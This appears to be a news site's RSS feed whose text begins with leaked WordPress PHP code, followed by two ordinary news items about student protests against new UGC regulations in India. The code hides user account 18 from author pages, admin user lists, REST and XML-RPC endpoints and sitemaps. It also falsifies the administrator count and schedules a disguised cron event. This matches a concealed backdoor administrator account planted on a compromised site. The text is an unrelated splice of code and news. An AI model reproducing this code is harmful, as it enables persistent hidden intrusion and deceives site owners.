add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post PSC Protests Against New UGC Regulations, Marches to Raj Bhavan appeared first on The Edge Media.
]]>According to PSC leaders, the revised UGC rules are anti-student and undermine the academic autonomy of higher education institutions. They alleged that the new framework weakens the recruitment process of teachers, affects research standards, and promotes contractual appointments instead of permanent faculty positions.
Protesters raised slogans demanding the immediate withdrawal of the new regulations and accused the central authorities of ignoring the concerns of the academic community. The march, which began from the university campus, was stopped by police near the Raj Bhavan, leading to a brief standoff between protesters and security personnel.
PSC representatives stated that education policies should be framed through dialogue with students and educators rather than being imposed unilaterally. They warned that if the UGC regulations are not revoked, the organisation will escalate the agitation at a national level.
The police maintained that adequate security arrangements were made to prevent disruption of public order, while allowing peaceful protest. Several PSC members were briefly detained and later released.
The post PSC Protests Against New UGC Regulations, Marches to Raj Bhavan appeared first on The Edge Media.
]]>The post Uproar in Jharkhand Against New UGC Regulations appeared first on The Edge Media.
]]>The anger against the UGC’s new rules is no longer confined to social media. Students and activists are staging demonstrations, alleging that the regulations promote inequality rather than ensuring equal opportunities in higher education. Protesters argue that the rules weaken the reservation framework and may lead to discrimination based on caste and social background.
According to the UGC, the new regulations aim to eliminate discrimination in higher education institutions. Under the revised framework, universities and colleges have been instructed to establish Equal Opportunity Cells and grievance redressal committees to address complaints related to caste-based discrimination.
The rules mandate that every higher education institution must create a mechanism to ensure equality and provide support to students from marginalised communities. The UGC has also clarified that these measures are intended to ensure fair treatment and inclusive academic environments.
However, student organisations claim that the implementation of the rules may dilute the existing reservation system and reduce safeguards for Scheduled Castes, Scheduled Tribes, Other Backward Classes, and minority students. They allege that the regulations shift focus away from affirmative action and could limit representation in faculty recruitment and admissions.
In Jharkhand, protests were reported in Ranchi and several other cities, where student groups raised slogans and submitted memoranda to district administrations. Similar demonstrations were held in Uttar Pradesh and other states, reflecting growing nationwide opposition.
Student leaders stated that universities should remain spaces of social justice and democratic values. They warned that if the UGC does not withdraw or amend the controversial provisions, protests will be intensified at the national level.
The post Uproar in Jharkhand Against New UGC Regulations appeared first on The Edge Media.
]]>